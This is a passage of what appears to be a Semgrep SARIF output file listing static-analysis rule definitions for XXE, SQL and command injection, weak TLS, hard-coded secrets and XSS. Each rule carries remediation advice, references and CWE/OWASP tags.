calls."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-501: Trust Boundary Violation","HIGH CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-session-from-http-request-deepsemgrep.tainted-session-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An insecure SSL version was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use 'ssl.PROTOCOL_TLSv1_2' or higher."},"help":{"markdown":"An insecure SSL version was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use 'ssl.PROTOCOL_TLSv1_2' or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.weak-ssl-version.weak-ssl-version)\n - [https://tools.ietf.org/html/rfc7568](https://tools.ietf.org/html/rfc7568)\n - [https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html](https://tools.ietf.org/id/draft-ietf-tls-oldversions-deprecate-02.html)\n - [https://docs.python.org/3/library/ssl.html#ssl.PROTOCOL_TLSv1_2](https://docs.python.org/3/library/ssl.html#ssl.PROTOCOL_TLSv1_2)\n","text":"An insecure SSL version was detected. TLS versions 1.0, 1.1, and all SSL versions are considered weak encryption and are deprecated. Use 'ssl.PROTOCOL_TLSv1_2' or higher."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.weak-ssl-version.weak-ssl-version","id":"python.lang.security.audit.weak-ssl-version.weak-ssl-version","name":"python.lang.security.audit.weak-ssl-version.weak-ssl-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.weak-ssl-version.weak-ssl-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use HttpClientBuilder instead."},"help":{"markdown":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use HttpClientBuilder instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"DefaultHttpClient is deprecated. Further, it does not support connections using TLS1.2, which makes using DefaultHttpClient a security hazard. Use HttpClientBuilder instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","id":"java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","name":"java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.ssl.defaulthttpclient-is-deprecated.defaulthttpclient-is-deprecated"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret","id":"ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret","name":"ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.faraday.ruby-faraday-hardcoded-secret.ruby-faraday-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the XMLReader parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD,\"\")`, configuring the both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet","id":"java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet","name":"java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-xmlreader-xxe-servlet.tainted-xmlreader-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Mass assignment protection disabled for '$MODEL'. This could permit assignment to sensitive model fields without intention. Instead, use 'attr_accessible' for the model or disable mass assigment using 'config.active_record.whitelist_attributes = true'. ':without_protection => true' must be removed for this to take effect."},"help":{"markdown":"Mass assignment protection disabled for '$MODEL'. This could permit assignment to sensitive model fields without intention. Instead, use 'attr_accessible' for the model or disable mass assigment using 'config.active_record.whitelist_attributes = true'. ':without_protection => true' must be removed for this to take effect.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Mass assignment protection disabled for '$MODEL'. This could permit assignment to sensitive model fields without intention. Instead, use 'attr_accessible' for the model or disable mass assigment using 'config.active_record.whitelist_attributes = true'. ':without_protection => true' must be removed for this to take effect."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled","id":"ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled","name":"ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.mass-assignment-protection-disabled.mass-assignment-protection-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2)\n - [https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py](https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py)\n - [https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings](https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2","id":"python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2","name":"python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.xml.tainted-fastapi-xml-libxml2.tainted-fastapi-xml-libxml2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask","id":"python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask","name":"python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.sqlobject-connection-flask.sqlobject-connection-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection","id":"rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection","name":"rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.command-injection.rust-hyper-command-injection.rust-hyper-command-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure AWS Sagemaker domains are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure AWS Sagemaker domains are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure AWS Sagemaker domains are encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk","id":"terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk","name":"terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-sagemaker-domain-encrypted-with-cmk.aws-sagemaker-domain-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Django REST framework configuration is missing default rate- limiting options. This could inadvertently allow resource starvation or Denial of Service (DoS) attacks. Add 'DEFAULT_THROTTLE_CLASSES' and 'DEFAULT_THROTTLE_RATES' to add rate-limiting to your application."},"help":{"markdown":"Django REST framework configuration is missing default rate- limiting options. This could inadvertently allow resource starvation or Denial of Service (DoS) attacks. Add 'DEFAULT_THROTTLE_CLASSES' and 'DEFAULT_THROTTLE_RATES' to add rate-limiting to your application.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config)\n - [https://www.django-rest-framework.org/api-guide/throttling/#setting-the-throttling-policy](https://www.django-rest-framework.org/api-guide/throttling/#setting-the-throttling-policy)\n","text":"Django REST framework configuration is missing default rate- limiting options. This could inadvertently allow resource starvation or Denial of Service (DoS) attacks. Add 'DEFAULT_THROTTLE_CLASSES' and 'DEFAULT_THROTTLE_RATES' to add rate-limiting to your application."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config","id":"python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config","name":"python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config","properties":{"precision":"very-high","tags":["CWE-400: Uncontrolled Resource Consumption","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.django-rest-framework.missing-throttle-config.missing-throttle-config"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'raw()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. If you must do this, construct individual strings and mark them as safe for HTML rendering with `html_safe()`."},"help":{"markdown":"'raw()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. If you must do this, construct individual strings and mark them as safe for HTML rendering with `html_safe()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-raw.avoid-raw)\n - [https://api.rubyonrails.org/classes/ActionView/Helpers/OutputSafetyHelper.html#method-i-raw](https://api.rubyonrails.org/classes/ActionView/Helpers/OutputSafetyHelper.html#method-i-raw)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n","text":"'raw()' bypasses HTML escaping. If external data can reach here, this exposes your application to cross-site scripting (XSS) attacks. If you must do this, construct individual strings and mark them as safe for HTML rendering with `html_safe()`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-raw.avoid-raw","id":"ruby.rails.security.audit.xss.avoid-raw.avoid-raw","name":"ruby.rails.security.audit.xss.avoid-raw.avoid-raw","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-raw.avoid-raw"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `setSecure` not set to true. This ensures that the cookie is sent only over HTTPS to prevent cross-site scripting attacks."},"help":{"markdown":"Default session middleware settings: `setSecure` not set to true. This ensures that the cookie is sent only over HTTPS to prevent cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.cookie-issecure-false.cookie-issecure-false)\n - [https://docs.oracle.com/javaee/6/api/javax/servlet/http/Cookie.html#setSecure(boolean)](https://docs.oracle.com/javaee/6/api/javax/servlet/http/Cookie.html#setSecure(boolean))\n - [https://owasp.org/www-community/controls/SecureCookieAttribute](https://owasp.org/www-community/controls/SecureCookieAttribute)\n","text":"Default session middleware settings: `setSecure` not set to true. This ensures that the cookie is sent only over HTTPS to prevent cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/java.servlets.security.cookie-issecure-false.cookie-issecure-false","id":"java.servlets.security.cookie-issecure-false.cookie-issecure-false","name":"java.servlets.security.cookie-issecure-false.cookie-issecure-false","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.cookie-issecure-false.cookie-issecure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items that do not leverage user authentication. Requiring the user to provide authentication increases the confidence that the person using the phone is indeed authorized to view the information being retrieved."},"help":{"markdown":"The application was observed to store keychain items that do not leverage user authentication. Requiring the user to provide authentication increases the confidence that the person using the phone is indeed authorized to view the information being retrieved.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n","text":"The application was observed to store keychain items that do not leverage user authentication. Requiring the user to provide authentication increases the confidence that the person using the phone is indeed authorized to view the information being retrieved."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth","id":"swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth","name":"swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.missing-user-auth.keychain-without-user-auth"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'content_tag' exhibits unintuitive escaping behavior and may accidentally expose your application to cross-site scripting. If using Rails 2, only attribute values are escaped. If using Rails 3, content and attribute values are escaped. Tag and attribute names are never escaped. Because of this, it is recommended to use 'html_safe' if you must render raw HTML data."},"help":{"markdown":"'content_tag' exhibits unintuitive escaping behavior and may accidentally expose your application to cross-site scripting. If using Rails 2, only attribute values are escaped. If using Rails 3, content and attribute values are escaped. Tag and attribute names are never escaped. Because of this, it is recommended to use 'html_safe' if you must render raw HTML data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag)\n - [https://brakemanscanner.org/docs/warning_types/content_tag/](https://brakemanscanner.org/docs/warning_types/content_tag/)\n","text":"'content_tag' exhibits unintuitive escaping behavior and may accidentally expose your application to cross-site scripting. If using Rails 2, only attribute values are escaped. If using Rails 3, content and attribute values are escaped. Tag and attribute names are never escaped. Because of this, it is recommended to use 'html_safe' if you must render raw HTML data."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag","id":"ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag","name":"ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.avoid-content-tag.avoid-content-tag"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$PARSER.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setExpandEntities(false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The XML parser $PARSER is not securely configured. The current configuration allows for XXE attacks. It is our recommendation to secure this parser against XXE attacks by configuring 